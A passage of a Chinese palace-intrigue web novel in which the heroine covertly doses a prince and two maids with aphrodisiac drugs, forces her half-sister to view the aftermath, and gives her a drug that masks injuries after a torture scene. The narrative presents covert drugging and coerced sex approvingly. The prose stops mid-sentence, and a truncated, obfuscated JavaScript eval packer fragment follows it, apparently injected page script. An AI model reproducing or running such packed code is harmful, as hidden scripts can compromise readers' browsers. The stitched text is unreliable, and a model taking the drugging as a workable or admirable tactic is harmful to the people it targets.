但刚刚下迷香的时候,只偏房里有人,便指了指那。 安王挥了挥手,“都在这里候着吧,没本王的传唤不用上前。” 侍卫担心,毕竟那个姑姑深浅他们不知,怕王爷会吃亏。 “王爷……” “叫你候着就候着。” 在他自己家,一切都由他说了算,还能拿他怎么地。 而他要找的人,早就随叶荭姑姑上了房顶。 凤南茵发现汤水里有催情药时,就做了堤防。 安王命人做的一系列小动作都被她收入眼底。 她勾唇,左手攥着一只鸡腿,整个人趴在屋脊上,兴奋地道,“有好戏看喽。” 叶荭右手抓着鸡翅,嘴里的鸡骨头一扭头,随意地吐在后院,滚进草地里。 另一只手撑在屋脊上,翘着二郎腿。 “乡主一会别觉得辣眼睛才好。” 毕竟她做暗卫的,这种事看多了,只觉得是两团肉搅合在一起,甚是辣眼睛。 二人一身暗色衣裙,借着夜色掩护下,藏得极好。 安王大步进了传膳的那间房,迎面对上一桌的残羹剩饭。 他蹙了一下眉,随后不自然地又扯了两下领口。 他脑子有些昏沉,只以为是内侍下的迷香没散,这药喝口水就解了,他端起桌上的茶盏倒了一杯水,仰头喝了下去。 凤南茵揭开一片瓦,半张小脸都贴了上去。 她勾了勾唇。 “自大狂,就你会下药?” 姑奶奶下了三种药,你是喝水,还是上床,亦或者亲吻那两个丫鬟,都会中招。 今晚不把你整疯癫,她就不姓凤。 很快,房间里传出女子痛苦的浅呤声,随后旖旎声不断。 凤南茵小手捂在眼睛上,忍不住又从中间嵌开一条缝。 “好家伙,这么猛的吗?” 她还真小瞧了这王府里的丫鬟,这是要将安王给吃掉的节奏啊! 她看得热闹,忽然身子被人提起来。 “乡主,看多了长针眼。” 凤南茵忙用帕子擦脸,“没事,我什么也没看见,没看见。” 叶荭也是过来人,做任务第一次见这种事也好奇。 “乡主给她们下了那么多药,怕是一时半会完不了事了。” “恩恩,我们去找凤南蓉,然后去吃饭。” 王府的鸡腿太香了,勾得她想吃肉了。 叶荭直接揽了凤南茵的腰,一个用力,二人翻落在后院,随后翻窗进了凤南蓉的房间。 凤南茵轻嗅了一下房中的气息,已经散的差不多了,她倒了一盏茶,直接泼到凤南蓉脸上。 “啊!” 凤南蓉猛地惊醒,她的房间没有掌灯,只看到两个黑呼呼的人影立在床头,吓得她一声尖叫。 “唔……” 叶荭姑姑快一步捂住了她的嘴。 凤南茵:“别叫,是我。” 凤南蓉眼底都是狐疑,叶荭姑姑松开手的那一瞬间,她便没好气的问。 “你为什么要迷晕我。” 她不傻,自己身子现在是弱,可没有弱到一瞬间便失去了意识,且她闻到了异香。 凤南茵坐在她床头,翘起二郎腿,将手放在鼻子下闻了闻,一股鸡腿味。 她抓过凤南蓉的被角用力蹭了蹭。 “下药的是你的夫君,至于他要做什么,你现在闭上眼睛仔细听,就知道了。” 隔壁,那种孟浪声音越来越大了。 而且凤南蓉清楚地听出来,那是两名女的声音。 淫词浪语不停地从安王口中爆出来,恶心的凤南蓉想吐。 她苦笑,这就是她嫁的好夫君,外面人人都夸赞谦谦君子的安王,其实就是不折不扣的浑蛋。 凤南茵目的达到,好心地道。 “慢慢享用,本乡主饿了,出去搞点吃的。” 凤南蓉心下苦涩,她本也是极饿的,可现在心口只觉得堵的厉害。 难怪没有人来伺候她,连她的晚膳都忘记了。 原来那两个贱婢在忙着勾引她的丈夫。 她心痛的厉害,一句也不想听。 偏那叫声,一声高过一声,哪怕她把耳朵捂住了也没有用。 “凤南茵,你一定要这样羞辱我,折磨我,才觉得痛快,是吗?” 外面的侍卫虽然站得远,可架不住房间里的动静太大了。 他们不由得暗暗佩服,他们王爷看似瘦弱,还真男人。 只是两个女子争求的声音,不会是那老女人也被王爷…… 安王这边其实被折腾的够呛,人差一点翻白眼过去。 直到三人的药劲总算过去了,他半晕半睡地倒在那里,身边姿势各异躺着两人。 凤南茵吃饱喝足有了心情,强行拉着凤南蓉过来收拾“残局。” “做什么,放开我,我不要看,让我回去。” 第一百八十六章拿捏不得 凤南蓉被叶荭强行架着来到安王床榻前。 看到房间内欢好后的气息,及床上凌乱的一幕看得凤南蓉连连干呕。 叶荭掰正她的头,强迫凤南蓉必须看。 要的就是给好心里留下阴影。 凤南茵学医,更恶心的都见过,心理素质好。 不过还是觉得恶心,干脆扯了帐幔将关键部位给挡了。 “良媛,你怎么还吐了?” 凤南茵故意刺激凤南蓉。 “不过也是,侍女不伺候主子用膳,背地里勾引王爷,我要是你,也会呕得想吐。” 随后她端来一盆水,直直泼向三人。 安王激灵一下醒了,看到凤南茵完好地站在眼前,他一阵恍惚。 “你怎么在这?” 凤南蓉苦笑,“王爷,你真的要这样羞辱我,才够吗?” 安王瞥了她一眼,“你算什么东西,用得着本王花心思羞辱你。” 他起身想质问凤南茵,发现自己身上的荒唐,忙扯了衣服套在身上。 “王爷?” 凤南蓉一直是骄傲的,可是她的骄傲在安王面前,被一次次粉碎,打击的站都站不住。 她双腿发软,身子向后倒。 原来人在大悲之下,竟然连泪都流不出,泪腺似是堵上了一般,眼睛涨的酸疼,心口更疼。 “好,我不配问。” 但她会恨,恨这屋子里的所有人。 她们一个个都在折辱自己,欺负自己。 她心口就像有一把刀,不停地扎着她,她发誓,一定要将此恨报复回来,一定。 凤南茵盯着凤南蓉的眼睛,看到她眼中的恨,很是满意。 也不枉费她用了那些精心调配的药。 凤南茵:“诶,王爷先是打了皇上赐的凤良媛,已是对皇上的不敬,如今她过府不过三日,又宠幸她的侍女,我该说王爷身体好呢,还是该说王爷对皇上赐的婚事过于不满,故意用这种方式泄愤呢?” 安王本就对今夜之事有所怀疑,这时才发现他竟然宠幸了两个最下等的丫鬟。 想到刚刚这两个贱婢对他做的事,骂道。 “好大的胆子,竟然敢勾引本王,是想死吗?” 青枝和莲心被折腾个半死,根本不明白缘由,听到王爷的质问,吓得滑下床跪下。 “王爷息怒,奴婢根本不知发生了什么事,只闻到一股异香,人就没知觉了。” “王爷,刚刚是您主动的,咱们不敢不从啊!” 安王越想越气,他今夜是眼睛瞎了吗? 怎么搂着一个死肥猪,还有一个脏脸怪在那又亲又啃。 “两个丑八怪给本王闭嘴,闭嘴!” 凤南茵噗嗤笑出声。 “真有意思,王爷怎么敢做不敢当,是怕皇上怪罪吗?” 安王愤怒至极,一个弹射冲到凤南茵身前。 “小贱人,你算计的本王对不对?不然这房间里为什么不是你?” 他眼睛里带着掠夺,赤果果地表述着自己的诉求,已经到了毫不隐瞒的程度。 凤南茵退开一步,保持二人之间的安全距离。 她高扬着下巴,迎面直视对上安王的眼睛,到了这一步,她也不藏了。 “安王,你不会真的以为用点迷香就能对付我吧?只要是我不肯,你将毒王请来,也别想药到我。” 安王呵呵大笑,“好狂妄的语气,凤南茵,你成功引起本王的兴趣了,我与你打个赌,你这辈子只能是我安王的女人。” 凤南茵上上下下打量他,心中有一瞬间想用点狠的,直接将他做男人的能力废了。 可是还不行,他到底是王爷,自己真的那样做了,不说贵妃,皇上就不能容她。 她道:“我惹不起,可以躲开,王爷忘了,我有皇上赐的令牌,你阻拦不得我。” 安王伸手一抓,拎小鸡一样,将凤南蓉拎在自己身前。 “那我就将这女人丢进水牢里,让你眼睁睁看着她受苦。” 叶荭姑姑紧紧护着凤南茵,骂了一句,“卑鄙。” 凤南茵却是无所谓道:“王爷,你不会真的以为我在乎她的感受吧,你看不出来我入王府是为了看她的笑话吗?” “要不,你现在就将她丢进水牢吧,我好立即回宫复命?” “复命?” 凤南茵挑眉看他一眼,“王爷,您不会真的以为我是自行进府的吧?我还没那么伟大,照顾一个我自己厌恶的人。” 她故意将话说的模棱两可,让安王以为她是奉旨给凤南蓉看病。 刚好今日皇上在御书房斥责他藐视圣君,不满赐婚,将凤良媛打伤,闹得人尽皆知。 这一系列的事情结合到一处,安王忽然拿不定主意了。 姜王妃听到消息匆匆赶来,一进来就看到闹出的乌龙。 她忙道:“王爷、乡主,你们怎么呛起来了?可是因为凤良媛吃醋了?” 她给身边的嬷嬷使眼色,“扶凤良媛回房休息,这么大一点事,也至于让她在这里让乡主与王爷闹不愉快。” 她又来哄安王,“王爷若不喜这两婢女,就让她们继续留在春意院,做婢妾就是,若是有了孩子抬成妾氏,您莫要气坏了身子。” 她轻扯着安王的袖子,示意安王她有话说。 安王挑了挑眉。 二人多年夫妻,姜氏虽称不上多美,却是最善解人意。 安王妃此时又道:“王爷,您今日喝多了,臣妾扶您先回院落休息,这里的事就交由臣妾明日再处理吧。” 安王本想意气用事,直接处置了凤南茵。 眼下他吃不准形势,便顺着台阶下,先行带人离开。 姜新月太了解安王了,只要不顺他的心意,必有人要倒霉。 她不想做那个倒霉人,忙将自己想到的主意说出来。 “王爷,上一次入宫,臣妾就听闻母妃不想七妹出使和亲。您如今是礼部官员,负责招待使臣,有最佳的机会将人引到王府作客。” “届时,我邀请冀宁乡主一同赴宴,谅她也不敢博了我的面子。” “到时候……” 安王这时昏涨的脑子经夜风一吹,清醒几分。 今日他入宫,确实有听父皇讲,和亲之人让金沙察布喳王子自己选,选中谁,便封那人为公主。 “……”他勾了唇,刚刚的盛怒消了一半。 “还是本王的爱妃冰雪聪明,总是能解我心中所困。” 那凤南茵动不得,杀不得,又强迫不得,那就让金沙国的人去搞定她。 到时候圣意难违,她就算有再多的本事,也不能抗旨。 第一百八十七章凤南蓉下跪 安王带来的人都走了,春意院终于恢复了安静。 凤南茵打了一个长长的哈欠。 今晚折腾了这许久,她也是累了。 叶荭给雏菊和蝶兰喂了水,二人摇晃着脑袋醒来,根本不知道发生了什么。 凤南茵道:“青枝、莲心,我不管你二人是何居心,快速将这房间给本主子打扫出来,满是的晦气,着实令人恶心。” 二人抖着身子,满心的委屈,却是在雏菊和蝶兰的盯视下,连夜将房舍全部打扫一遍。 凤南茵确保这屋子里被她下了药粉的痕迹全部清理了。 又道:“一进来,就是晦气味,将房间锁了。” 她可不想睡安王用过的床榻,搬去了西厢,与雏菊她们睡在一处。 正准备歇下,门扇被人大力推开,是凤南蓉。 她脸色惨白,额头上的纱布散开,披散着头发,一身亵衣,样子狼狈形同鬼魅。 “做什么,戌时都过了,你不困我还想休息。” 凤南蓉僵硬着表情,双眼无同鱼目,呆呆地盯着前方。 凤南茵伸手在她眼前晃了晃,确定她是在看自己? 凤南蓉伸手将她的手拍开,声音麻木且空洞。 “凤南茵,我想活下去,显贵且有尊严的活下去。” 今天被当蝼蚁一般肆意摆布的生活她够过了,她要像凤南茵这样,有对抗安王的底气,有不被肆意拿捏的能力。 凤南茵知道,今天借力打力这个局设定成功了。 成功地打击到了凤南蓉。 可凤南蓉的性子,一直是有求于人时可以伏低作小,得势时翻脸不认人。 但这一次不同,凤南茵并不是无所求地帮她,而是要彻底毁掉她。 虽然一切都按着自己的心意去发展,但她可没想那么容易就顺势发展。 她反问:“帮你?你凭什么以为我会这样做?” “今天的事情你也看出来了,我若不是早一步提防,被毁的人就是我。安王府我是不能住了,如今你人也算醒转了,明日我便离开。” 凤南蓉见她要走,噗地一下跪了下去。 她闭上眼,将骄傲咽下,慢慢低下头伏到地面。 “南茵,我知道你有本事,不是我这种闺阁女子能比较的,从前我错了,一直与你征争,这一次求你帮我。” 凤南茵没有说话,只是看着匍匐在脚边的凤南蓉。 一滴泪落在青石板上,凤南蓉死死咬着唇。 她都下跪了,还不行吗? 她想大家同归于尽算了,可她终有不甘。 她慢慢从脖子上解下玉牌,在手中摩梭了两下,慢慢举了起来。 “这些身外之物原本是我最后的依仗,现在我将安们全都给你,这样总够了吧。” 凤南蓉将她的名佩拿出来,有了这个名佩,安国公府藏下的宝物就都归凤南茵了。 “这是我的诚意。” “你就这么相信我?甚至赌上你的所有?” 凤南蓉笑了,她眼睛里再不是刚刚的空洞无神,而是多了一份决绝。 “其实我知道,即便我不给你这个名佩,你也会帮我。我跪下来求你,给你名佩,只是证明我的立场与决心。” 她要牢牢记住身上所受的全部屈辱,她要今日失去的,它日百倍得回来。 “哦?” “你是靖王的人,且你说过,能帮我坐上王妃之位,能让安王对我唯命是从。” 凤南茵摸索着那名佩,随后收了起来。 “好,那我们的利益算是达成了。从今日开始,你一切都要听我的,中途不能因为男人对你有所宠爱,而变得心软。” 她靠近凤南蓉,很想告诉她,今日我帮你,日后我会取安王的命,你就别再幻想做一国之后。 想了想,她没必要告诉凤南蓉全部。 “你现在要做的就是养好身体,找机会一鸣惊人。” “安王好美色,对后宅之事很是上心。但你放心,今日过后,他就会体验到什么叫力不从心。” “我会给你配一种香,涂抹在身上后他只能在你这里找到快感,待你有了孩子,我会再入府过来照顾你,助你成为安王妃。” 凤南蓉眼神闪了闪,她没想到凤南茵已经在下手了。 她意思是,今晚安王就伤了根本? 凤南茵她怎么敢? 她是怎么做到的? 凤南蓉从地上慢慢起身,问出心中最后一个问题。 “你会要他的命吗?因为那个位置?” 凤南茵没想到她猜到了,但她可不会承认。 “怎么会,他可是当朝王爷,我不要命了吗?” 凤南蓉似是长长吁了一口气,点了点头。 “原来学医这么厉害,早知这些年我也不学六艺,只学医术就好了。”她默默转身,带着一丝疲累。 她竟是败给了命运。 她以为,自己才是凤家那个掌握宿命之人。 现在看来,那十三年就像个笑话,她的容貌,才艺,一无是处。 凤南蓉一路走,一路默默落着泪。 对于她来讲,遥不可及的事情,要放下尊严与全部去求得宠爱。 在凤南茵那里,竟然只是一瓶药水那么简单? 叶荭姑姑问,“乡主,这边的事情也算暂时解决了,明日是否要离开王府?” 她有一种直觉,安王并不会因皇帝的旨意而妥协,怕随时还会对小主子不利。 凤南茵道:“明日一早便离开,大家都早些睡。” 翌日。 安王妃正在梳洗,下人便匆匆来禀。 “王妃,冀宁乡主带人离开王府了。” “什么?” 姜新月一急,扯痛了头发。 她顾不得喝斥下人,蹭地站起身。 “门上为什么不拦着?”她才给安王出了主意,将人安抚住,这人怎么就走了。 “拦了,可是她有令牌,咱们拦不住啊!” 姜新月气得扯下头上的翡翠发簪就掷到地上。 安王今晚就会请金沙察布喳王子过府赴宴,等人来了,凤南茵不在,到时候受罪的还会是自己。 “去,将凤夫人给本妃请来,今日凤南茵不回王府,就等着给凤南蓉收尸。” 凤南茵并没有回宫,而是一早就回了石门府。 她需要几种草药调配新香,这些药不能让人查出痕迹,回石门府是最好的选择,那里有这天下最全的药。 取了药之后,她直接在保和堂提取花香。 一直忙到天黑,三瓶香料终于被好制作完成。 “雏菊,你涂抹一些,我试下香。” 若是不好,还需要改调。 雏菊打开药瓶,闻到一种淡淡的苦涩味。 “主子,您确定这是香料吗?”她弄出一些涂抹在脖颈处。 过了一人,凤南茵附身闻了闻。 有淡淡的苦药香气,但是深吸很是醒脑,后味带着柑桔的回甜。 一日没白辛苦,成了。 蝶兰也闻了闻,眼露欢喜,“主子,这香味好特别,先苦后甜,能送奴婢一份吗?” “不,奴婢愿意买。” 凤南茵笑睨了她一眼,“这个你出银子也不行,这香我有大用,只能给凤良媛一人用。” 第一百八十八章凤泽宇拿捏安王妃把柄 安王府 凤南蓉跪在冰冷的石板地上,已经整整跪了三个时辰。 她人早已麻木,不知昏厥了多少次,只知道,身上的衣衫湿了又干,只要她敢晕倒,马上会被一盆冰水淋醒。 盛青岚在一旁不停地抹着泪,缓缓跪下求着。 “王妃,求您饶了南蓉吧,臣妇已经派所有人去寻了,是真的寻不到。” 姜新月抬脚将人踢开,厌恶地看着眼前跪着的一对母女。 “再给你们最后一个时辰,寻不到人就等着替凤南蓉收尸。” 同时,她也在心中盘算着,宴席马上就要开始了,人迟迟不出现,今晚她要经受的,怕也是承受不住的。 “凤南蓉,之前本妃就告诉过你,你在这个府邸的存在意义,就是将凤南茵留下,现在人走了,你所承受的折磨就是活该,生再多的怨恨也无用。” 盛青岚跌坐在地。 她到底造了什么孽,造了什么孽啊! 原以为,只是两个女儿命数不和,会一直争斗,万万没想到,她们竟是这种情况。 难道,今天寻不到南茵,她捧在掌心养大的女儿就要死了吗? 盛夫人被安王妃叫走的时间太长了,凤泽宇下衙后,见母亲迟迟没有回府,心中生出疑惑。 他到底做过安国公府的世子,又怎么会是无知的读书人。 他带着两名体型彪硕的下人,冲破门房的阻挡,一路寻到了春意苑。 一进来,就看到母亲瘫坐在地,而大妹被人折磨的已不成人样,当下心痛的目呲欲裂。 “安王妃,我母亲与舍妹到底做错何事,让你如此折磨羞辱?” 姜新月见到凤泽宇有一瞬间的慌神。 她可以在后宅随意施刑,但是绝对不能传扬出去。 滥用私刑,折辱府上妾氏的罪名,哪怕她是王妃也受不得。 “你怎敢随意闯入安王府质疑本王妃,信不信我也拿你问罪。” 凤泽宇双手抱拳,向上一揖,“我乃圣上钦点籍田令,虽官职低微,却有恩赐,可不用通传直接面圣,今日安王妃不给下官一个说法,本官必将王妃所作所为告到御前。” 他拳头捏的嘎巴作响,将凤氏从地上拽起来。 “母亲,我凤家虽然势微了,可儿子还在,用不到这般伏低做小。” 盛青岚见到儿子那一刻,眼泪落得更凶了。 若她还有从前诰命之身,安王妃又哪里敢这般折辱她。 安王妃眼眸闪了闪,随后找到了说辞。 “凤南蓉她指使自己的婢女勾引王爷来保全自己的荣宠,害王爷今晨早起身体不适,险些耽误国事,难道这还不算有过吗?” 凤泽宇疑惑地看着妹妹。 他知道,妹妹是在宫中被人陷害,与安王有了首尾后不得已入了安王府的。 这种事情,出于气节,妹妹都该以死明志。 可是南蓉贪生,连装装样子都没有做,失了名声的女人,又无家族倚靠,不受宠是可想而知。 所以,她真的糊涂到做出这种事? 不,不对。 “微臣所知,舍妹入府未带一人陪嫁,她身受重伤,全权仰仗王府所指侍女扶持,她一个无权无势无宠爱的妾氏,如何说服侍女为她如此冒险,王妃指责的罪名不觉得太过牵强?” 姜氏一声冷笑,睨着凤泽宇。 “所以,本王妃才要让凤夫人找寻冀宁乡主,凤南蓉做不到的事,她却是能的。” “算计当朝王爷,损害王爷身子,等同谋逆。冀宁做了恶事便逃了,凤大人如今还觉得本王妃的处置过了吗?” 凤泽宇愣愣地看着妹妹,原本是不信这些的。 可他竟然在凤南蓉的眼中看到了慌乱。 难不成,安王妃说的全是真的? 可这个时候,绝对不能认。 “安王妃,指认要有证据,你不能凭着自己的推断,便说这事是南蓉所为。” 他忙又补充道:“本官要的是物证,那两个奴才迫于王妃的威势,说出的话没有半点可信度。” “若拿不出物证,就请王妃就此收手,不然本官必告御状,将舍妹遭受的酷刑,母亲遭受的羞辱一一讲述。” 物证,安王妃哪里有物证。 不说昨夜那一桌吃食早就被撤下,就说真的惊动皇上命人下来查,怕是会查到她头上。 要是让安王醒过神来,知道是她先算计了王爷,害他今晨起来全身无力,腰膝酸软几乎站立不稳,她有九条命也不够王爷抽的。 “你是在威胁本妃?” 安王妃后槽牙都要咬碎了。 “好啊,你现在就入宫,将你带人如何擅闯王府,如何以下犯上指责本王妃的罪名先揽了,重罚二十大板之后,本王妃自可带着证物到父皇面前与你一一对证。” “但是凤大人,今日本王妃却是不能奉陪,今夜安王府有家宴,宴请金沙使臣,还请掂量一下自己的分量。” “你配吗?” 你配与本王妃斗吗? 凤泽宇到底是在与安王妃斗智,没想到她竟不上当。 他看向凤南蓉,你倒是说一句话啊? “南蓉,实情到底如何,你不是最清楚?” 当初在百花宴上被人坏了清白,就不知为自己名声找补。 如今被安王妃如此欺辱,连一句辩驳都不会? 凤南蓉低垂着头,眼神迷离…… 他对凤南蓉简直失望彻底,哪怕她只说一句,一切与她无关,他也能将人带出府,至少不会再让母亲受难。 凤南蓉此时只觉心灰意冷,命运不公。 为什么安王想得到凤南茵,却让她来受这些苦。 难道,她这些年来信奉的终究要成为一场空吗? 这时下人来禀,“王妃,王爷回府了,与之一同来的除了使臣,还有靖王爷。” 安王妃一阵慌乱,不是说晚宴吗,怎么时辰提前了这么久。 下人又道:“靖王知凤大人过府,寻人过去相陪呢。” “什么?” 凤泽宇勾唇,他怎么可能势单力薄而来,来之前早就给靖王送了信。 “安王妃,靖王也来了,要不要微臣在靖王面前,将你刚刚的言辞复述一遍,告知她这一切都是你的图谋,你想扣押冀宁乡主,从而威胁德妃与靖王?” 安王妃咬牙切齿,“你休要胡说八道,如此污蔑威胁本王妃,是想自己的籍田令做到头了吗?” 第一百八十九章凤南蓉献舞 凤泽宇如今靠山来了,更加不怕安王妃的威胁。 毕竟南蓉身上的伤就在这摆着,安王妃有嘴也辩驳不过去。 “微臣虽官职卑微,却是受圣上亲口赐封,王妃张口就要了微臣的官职,倒是让微臣惊愕了。” 安王妃不想再与他扯嘴皮子,如今客人都上门了,她要更衣待客。 “本妃还要招待贵客,没时间在这里与你逞口舌之快,但你们要记住,在这安王府,与本妃作对没你们好果子吃。” 宴席之上,安王的脸色一直黑沉似水。 他努力维持着面上的笑,与金沙察布喳王子推杯换盏。 可落下酒盏的那一瞬间,便会向姜氏投去责怪的视线。 似是在说,你提出的主意,如今本王将人请了过来,拖着身子不适在这里赔笑,凤南茵人呢? 姜氏后背一阵阵冒着凉气,心中不安越来越重。 察布喳王子道:“都说北庆礼仪之邦,诗词歌赋、舞艺绝伦的才女如云,安王今日准备的这场家宴,俗了些。” 这家宴是为了阴凤南茵临时准备的,吃食简陋,节目乏味,换做平常都只能算勉强过格,招待使臣确实差强人意。 靖王举着酒杯摸索着酒盏,“四哥府上姬妾众多,皆是才艺了得,为何不出来献艺,让咱们察布喳王子尽兴?” 姬妾么,在金沙那都是随意可以送人的玩意。 所以靖王话一出口,察布喳就来了兴致。 “安王府中有才女,为何藏着?是觉得本王不配欣赏,还是安王不舍得?” 安王被架在那,哪敢得罪对方。 他对着内侍身旁耳语了几句,随后陪着笑道:“察布喳王子,你这是哪里话,府上贱妾久不见外人,怕她们技艺难入您的眼,不过本王秋良娣弹一手好琵琶,唱功了得,这就过来献技。” 察布喳王子得意,北庆连年灾情,国力衰弱,瞧瞧堂堂安王对他讨好的这副尊容就知道,他现在有多怕金沙。 一刻钟后,秋良娣含羞带怯地抱着琵琶走进正堂。 她本就是卖唱出身,被安王买回府后,凭着会讨好做人,得了王爷宠爱。 加之她确实琴艺了得,时常为安王唱曲,这才一路坐上良娣的位置。 秋良娣在安王府中算是老人,二十有五加之出自风尘,眼底眉梢全是风情,时不时对着安王传送秋波,对王爷卖弄风姿。 察布喳王子就坐在安王身侧,这一频一笑,一嗔一痴全入了他的眼。 一弹一唱之间将察布喳王子迷得不行。 察布喳王子听不懂昆曲,也欣赏不来琵琶,只夸赞了一句,“安王的良娣果然容貌不俗,深得小王心意。” 安王咧了咧嘴,他就知道,自己的爱妾留不住了。 心下微恼,终是女人如衣服,舍了就舍了。 “能让察王喜欢,是她的荣幸。” 安王给秋良娣使眼色,“坐到察布喳王身边,今晚陪好他。” 秋良娣人都傻了,她被安王叫出来弹曲,心下是恼的。 她陪了安王六年了,这六年间她以为早甩掉了从前卑贱的身份,今日被叫出来陪客就是羞辱,如今又要坐到别的男人身边。 这,这是不要她了吗? 安王冷冽的眼神扫过来,秋良娣身子抖了抖,缓步走向察布喳。 可她心中发苦,这男人一身肥肉,满脸的胡子,靠近坐了还有一股子膻味,哪里比得过安王俊逸。 安王沉了脸,“还不给客人斟酒!” 有了美人作陪,察布喳王子心情好了不少,更是当着安王的面,直接将秋氏拉坐在自己腿上。 “安王豪爽,本王也不会小气,本王随行带了十名歌姬,一会都送与王爷。” 安王这才觉得找补回来脸面,再次举杯。 “本王最是喜欢察布喳王子这等性情中人,为了两国安邦,本王先干了。” 他已经微微有些上头了,陪酒的耐心越来越少。 察布喳怀里搂着美人,这会也无心宴席,正想离开之时。 只见一身轻盈舞衣,赤足脚踝挂着铃铛的女子娉娉婷婷身姿走了进来。 凤南蓉一身大红舞衣,面遮轻纱,白皙肌肤在烛火照应下发着盈白的光。 背景鼓点起,凤南蓉从入厅堂那一刻便踩着韵律,缓缓扭动了腰肢。 一瞬间,安王的视线便被吸引了过去,目不转睛! 察布喳也是觉得怀中美人不香了,这个新进来的更好! 凤南蓉顶着被人亵渎的目光耻辱,华丽转身翩翩起舞,一会如同石窟壁画上的九天神女,一会如同月宫仙子,鼓点越来越急促,她脚下的步子越发地快了。 最后一个不慎跌坐在地,发出一声惊呼。 “啊!” 面纱滑落,一滴泪蓄在眉眼中,想落怯怯不敢,楚楚可怜。 靖王挑眉。 凤泽宇诧异。 察不喳因那面纱滑落,被女子容貌惊为天人。 只有安王,生出心疼,移步上前将人扶在怀里。 “你怎么来了?” 凤南蓉才跳了舞,身上发热,涂抹在身上的香油散发出阵阵甘甜,让人忍不住想轻嗅。 凤南蓉娇软的声音唤了一声,“王爷,妾身伤了脚腕,好疼。” 安王还没有见过一个女人能妖娆勾魂到这种程度的美,这一切只想将人揽在怀里好好心疼。 他感受到察布喳投射过来赤裸的视线,干脆一甩袍服将人抱了起来。 “抱歉,本王的爱妾受了伤,暂且失陪。” 察布喳看着美人被抱走,心下失望。 靖王这时端起酒盏,“察王还请勿怪,四哥才纳的良媛,正是心头好。” 这时秋良娣感觉到不好。 她已经被安王送人,还没出府就失了宠,后半辈子可就完了。 “原来王爷喜欢歌舞啊,奴家也会,咱们回房我单独跳给你看嘛。” 她到底出自风尘,为了自己的荣华,双臂揽上了察布喳脖颈,成功引了察布喳的注意力。 身前被狠狠揉捏了一把,“那美人现在就伺候本王去休息?” 主角都走了,宴席说散就散了。 靖王拂了拂身上的褶皱,看着安王妃笑得意味深长。 凤泽宇更是嘲讽的视线都不加隐藏。 他不知妹妹受了那么重的伤是怎么支撑着跳完那一段舞的,但是她成功了。 既然嫁了人,王爷的宠爱就是她安身立命的根本。 妹妹若是笼络住了安王的心,她在这后宅也就立稳了脚跟了。 安王妃气得险些捏碎茶盏,之前嚣张狂妄的话再也说不出口。 “真是小瞧了凤家人,竟然没一个是省心的。” 第一百九十章凤南茵的厉害 靖王带人走在出府的廊道上,迎面与一身素白的凤南茵遇到。 “你在这里等了多久?” 廊下风大,靖王将身上的披风解下,罩在凤南茵肩头。 “夜里风寒露重,小心着凉。” 凤南茵手掩着唇打了一个哈欠,抬起小脑袋眯着眼。 “我估算着时间呢,才过来一会。” 她乏的紧,一日劳累,却在安王府连小憩都不能。 这里总是让她无法安心入眠。 凤泽宇有一肚子疑惑想问,可是这个二妹根本没有理会他一眼,与安王说完话,便转身自顾自走了。 府外,靖王扶着凤南茵上了马车。 他探出头,看向凤泽宇。 “回去警告凤夫人,下次再不顾尊卑去骚扰南茵,本王便不会这般好心,替舍妹解围了。” 凤泽宇拱手,今日他能全身而退,终是借了靖王的势。 “微臣回府便提醒母亲。” “只是,冀宁乡主怎么会……”他后面的话没问出来。 马车帘已经落下。 视线被挡前,他清楚看到南茵的头枕在靖王肩头,那一幕深深烙在他心中。 靖王那般寡淡冷情之人,竟是对南茵如此体贴。 他一瞬间生出迟疑,难道祖母早年求的那道签文真的会应验? 他这两个妹妹真的会有一个坐上那凤位? 若是南茵…… 他暗暗后悔,若是家里没和南茵闹掰,不管是哪个妹妹得势,凤家都能再起。 南茵,我一定会想办法修复我们的兄妹情谊的。 即便…… 这也是哥哥欠你的。 凤泽宇没有坐马车,而是选择步行,他想借着微风好好计划一下,待今秋这批玉米成熟后,应是能得到嘉奖。 这一次,他要好好利用这次机会,总要为南茵做些什么。 马车厢中,靖王小心地调整了一下坐姿,就怕惊醒睡梦中人。 凤南茵还是醒了。 “靖王……” 第一次,凤南茵面对靖王脸红了。 她竟是心安理得地靠着靖王睡着了。 在安王府这几日,她没有一日是安下心来踏实入眠的,但是在靖王身边,却是能放下所有戒备。 靖王柔和的嗓音在她头顶宠溺传出:“累了就睡会吧,有我在,不用担心。” 凤南茵摇头,“没事,刚刚只是头晕的很,小憩后缓了许多。” 他叹气,“你对她无须做到如此,不过是一个忘恩负义的小人,**也无妨。” 凤南茵坐正身姿。 谈到正事,刚刚升腾起的那抹娇羞也散了。 她嗔道:“我可不是在帮她,不过让所有人以为我是在帮她也不错。” 她笑得狡黠,却不想将自己的计划告诉靖王。 待事情成了,他自然会知晓。 靖王也没有追问,只道:“听泽宇说,今日凤南蓉被罚跪了三个时辰,这种程度她的双腿都废了,今夜她却是献了舞。” 他挑眉,很想知道这是怎么做到的。 凤南茵不以为意道:“因为我告诉她,今晚机遇难得,若是她想得宠,我能助她暂且恢复行走能力。” 当然,这是要付出代价的。 等药效过了,那种痛会比先前重十倍。 “她越是想翻身,毅力便越强。今天她该是得意了,毕竟她自诩的才艺终是让她得了脸。” 靖王却不那么认为。 “她抢眼的并不是舞艺,而是今日大胆的着装,不过本王猜想,这份新意该不是她能想出来的吧?” 凤南茵吐了吐舌,“我帮她做的改扮,反正她若能得宠,于我、于你都有好处。” 靖王倒是不觉得凤南蓉得宠于他们有何好处。 但是这丫头喜欢,他都会无条件支持。 他用折扇敲了一下凤南茵的脑门,“你这脑袋瓜里全是不守规矩,真是庆幸你打小没学过舞艺。” 凤南茵生气地揉着脑袋。 “王爷,你再敲我的头会变傻的,我要是傻了,可会少了一个天才少女帮你。” 靖王忍不住哈哈大笑。 “哈哈哈,第一次听到有人这样吹嘘自己的。” “哈哈哈!” 凤南茵黑了脸:“……” 爽朗的笑声传入寂静的街道,跟随在侧的侍卫心境都是一松。 靖王似是只有与冀宁乡主在一处才会如此开怀。 安王府 春意院内满是旖旎之声。 安王今日本不想行夫妻之事,可酒意上涌,竟是与凤南蓉再次颠鸾倒凤了一个时辰。 醉过去之前,他食髓知味地说了一句,“蓉蓉,你身上的香味,本王好喜欢。” 凤南蓉第一次感受到什么是被宠爱,呵护。 今夜的安王好温柔,处处体贴着她,在意着她的感受。 知道她身上有伤,还特意避开了,细想都羞人的紧。 她以为,安王因为她的舞,爱上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 